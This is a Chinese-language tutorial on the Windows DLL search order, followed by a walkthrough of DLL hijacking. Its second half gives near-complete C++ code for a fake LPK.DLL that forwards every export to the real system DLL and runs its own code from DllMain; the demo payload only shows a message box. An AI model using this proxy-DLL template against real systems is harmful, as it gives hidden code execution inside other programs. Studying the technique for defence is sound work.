一.dll加载顺序
- DLL查找路径基础
应用程序可以通过以下方式控制一个DLL的加载路径:使用全路径加载、使用DLL重定向、使用manifest文件。如果上述三种方式均未指定,系统查找DLL的顺序将按照本部分描述的顺序进行。
对于以下两种情况的DLL,系统将不会查找,而是直接加载:
a. 对于已经加载到内存中的同名DLL,系统使用已经加载的DLL,并且忽略待加载DLL的路径。(注意对某个进程而言,系统已经加载的DLL一定是唯一的存在于某个目录下。)
b. 如果该DLL存在于某个Windows版本的已知DLL列表(unkown DLL)中,系统使用已知DLL的拷贝(包括已知DLL的依赖项)。已知DLL列表可以从如下注册表项看到:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs。
这里有个比较坑的地方,对于有依赖项的DLL(即使使用全路径指定DLL位置),系统查找其所依赖DLL的方法是按照实际的模块名称来的,因此如果加载的DLL不在系统查找顺序目录下,那么动态加载该DLL(LoadLibrary)会返回一个"找不到模块"的错误。
2.系统标准DLL查找顺序
系统使用的标准DLL查找顺序依赖于是否设置了"安全DLL查找模式"(safe DLL search mode)。"安全DLL查找模式"会将用户当前目录置于查找顺序的后边。
"安全DLL查找模式"默认是启用的,禁用的话,可以将注册表项HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode设为0。调用SetDllDirectory函数可以禁用"安全DLL查找模式",并修改DLL查找顺序。
Windows XP下,"安全DLL查找模式"默认是禁用的,需要启用该项的话,在注册表中新建一个SafeDllSearchMode子项,并赋值为1即可。"安全DLL查找模式"从Windows XP SP2开始,默认是启用的。
启用"安全DLL查找模式"时,查找顺序如下:
- a . 应用程序所在目录;
b. 系统目录。GetSystemDirectory返回的目录,通常是系统盘\Windows\System32;
c. 16位系统目录。该项只是为了向前兼容的处理,可以不考虑;
d. Windows目录。GetWindowsDirectory返回的目录,通常是系统盘\Windows;
e. 当前目录。GetCurrentDirectory返回的目录;
f. 环境变量PATH中所有目录。
如果"安全DLL查找模式"被禁用,查找顺序如下:
a. 应用程序所在目录;
b. 当前目录。GetCurrentDirectory返回的目录;
c. 系统目录。GetSystemDirectory返回的目录,通常是系统盘\Windows\System32;
d. 16位系统目录。该项只是为了向前兼容的处理,可以不考虑;
e. Windows目录。GetWindowsDirectory返回的目录,通常是系统盘\Windows;
f. 环境变量PATH中所有目录。
- 修改系统DLL查找顺序
系统使用的标准DLL查找顺序可以通过以下两种方式调整:
3.1 使用LOAD_WITH_ALTERED_SEARCH_PATH标志调用LoadLibraryEx函数;
这种方式调用LoadLibraryEx函数,需要设置lpFileName参数(绝对路径)。与标准查找策略不同的是,使用LOAD_WITH_ALTERED_SEARCH_PATH标志调用LoadLibraryEx函数的DLL查找顺序将"查找应用程序所在目录"修改为lpFileName指定的目录。
3.2 调用SetDllDirectory函数。
注意:SetDllDirectory函数在Windows XP SP1开始支持的。
函数SetDllDirectory在调用参数lpPathName是一个路径时,可支持修改DLL搜索路径。修改之后的搜索顺序如下:
a. 应用程序所在目录;
b. 函数SetDllDirectory参数lpPathName给定的目录;
c. 系统目录。GetSystemDirectory返回的目录,通常是系统盘\Windows\System32;
d. 16位系统目录。该项只是为了向前兼容的处理,可以不考虑;
e. Windows目录。GetWindowsDirectory返回的目录,通常是系统盘\Windows;
f. 环境变量PATH中所有目录。
如果lpPathName参数为空字符串,这样就会把当前目录从DLL搜索路径中去掉。
如果用NULL参数调用SetDllDirectory函数,可以恢复按照系统注册表的"安全DLL查找模式"来查找DLL。
当然win8或者windows server 2012提供更多的可定制方法,这个可以参考MSDN上介绍。比如:SetDefaultDllDirectories、 AddDllDirectory、RemoveDllDirectory。
4.为了测试计算机系统的dll 加载顺序可以通过一个程序加载一个不存在的dll,然后用process monitor 来监控加载的行为。
#include <windows.h>
#include <iostream>
int main(int argc, char ** argv)
{
using std::cout;
using std::endl;
// 随便设置一个不存在的dll名
HMODULE hMod = LoadLibrary("123.dll");
if (NULL != hMod)
FreeLibrary(hMod);
cout << "LoadLibrary Test" << endl;
return 0;
}
5.通过process monitor 实际测试win10 64位发现加载顺序是
• 应用程序所在目录
• 系统目录(首先是c:\Windows\SysWOW64;然后是c:\Windows\System)
• windows目录
• 当前目录
• 环境变量path目录
二 dll 劫持
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。
●DLL劫持的实现●
这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:
1 、构造一个与系统目录下LPK.DLL一样的导出表;
2、加载系统目录下的LPK.DLL;
3、将导出函数转发到系统目录下的LPK.DLL上;
4、在初始化函数中加入我们要执行的代码。
我们使用VC++来进行开发,首先是定义导出函数。核心代码如下:
#pragma comment(linker, "/EXPORT:LpkInitialize=_gamehacker_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_gamehacker_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_gamehacker_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_gamehacker_LpkDrawTextEx,@4")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_gamehacker_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=
_gamehacker_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_gamehacker_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_gamehacker_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_gamehacker_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_gamehacker_ftsWordBreak,@11")
以上是导出表中的函数,LPK.DLL比较特殊,在导入表中有一项不是函数是数据,因此数据这部分要单独处理。核心代码如下:
★
EXTERNC void __cdecl gamehacker_LpkEditControl(void);
EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {gamehacker_LpkEditControl};
★
LpkEditControl这个数组有14个成员,如上定义即可,后面我们还需要将真正的数据复制过来。
加载系统目录下的LPK.DLL。核心代码如下:
★
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
GetSystemDirectory(tzPath, MAX_PATH);
lstrcat(tzPath, TEXT("\\lpk"));
m_hModule=LoadLibrary(tzPath);
return (m_hModule != NULL);
}
★
在代码中可以看到,使用LoadLibrary方式加载系统目录下的LPK.DLL。加载完成后就要实现导出函数的转发了,这步是很关键的。
首先要获得原函数地址。核心代码如下:
★
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(m_hModule, pszProcName);
return fpAddress;
}
★
然后将我们构造的导出函数一一转发。核心代码如下:
★
ALCDECL gamehacker_LpkInitialize(void)
{
GetAddress("LpkInitialize");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkTabbedTextOut(void)
{
GetAddress("LpkTabbedTextOut");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkDllInitialize(void)
{
GetAddress("LpkDllInitialize");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkDrawTextEx(void)
{
GetAddress("LpkDrawTextEx");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkEditControl(void)
{
GetAddress("LpkEditControl");
__asm jmp DWORD ptr [EAX];
}
ALCDECL gamehacker_LpkExtTextOut(void)
{
GetAddress("LpkExtTextOut");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkGetCharacterPlacement(void)
{
GetAddress("LpkGetCharacterPlacement");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkGetTextExtentExPoint(void)
{
GetAddress("LpkGetTextExtentExPoint");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkPSMTextOut(void)
{
GetAddress("LpkPSMTextOut");
__asm JMP EAX;
}
ALCDECL gamehacker_LpkUseGDIWidthCache(void)
{
GetAddress("LpkUseGDIWidthCache");
__asm JMP EAX;
}
ALCDECL gamehacker_ftsWordBreak(void)
{
GetAddress("ftsWordBreak");
__asm JMP EAX;
}
★
转发完之后不要忘记LpkEditControl哦,要将真实数据复制过来。核心代码如下:
★
memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);
★
好了,到这里整个DLL劫持基本就算完成了,也许你要问,那我们要执行的代码写在哪里?我的方法是将其写到初始化函数中。这样当DLL被加载的时候就会执行。下面看一下DLL的入口函数吧。
★
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);
_beginthread(Init,NULL,NULL);
}
else
return FALSE;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
★
在这个函数中我们看到,当加载系统目录下的LPK.DLL成功后,进行了LpkEditControl数组的复制,并通过_beginthread(Init,NULL,NULL);定义了初始化函数Init,而这个初始化函数是由我们控制的。
下面在初始化函数Init中写入测试代码如下:
★
void WINAPIV Init(LPVOID pParam);
void WINAPIV Init(LPVOID pParam)
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
wsprintf(tzTemp, TEXT("劫持函数运行了......."), tzPath);
MessageBox(NULL, tzTemp, TEXT("gamehacker"), MB_ICONSTOP);
return;
}
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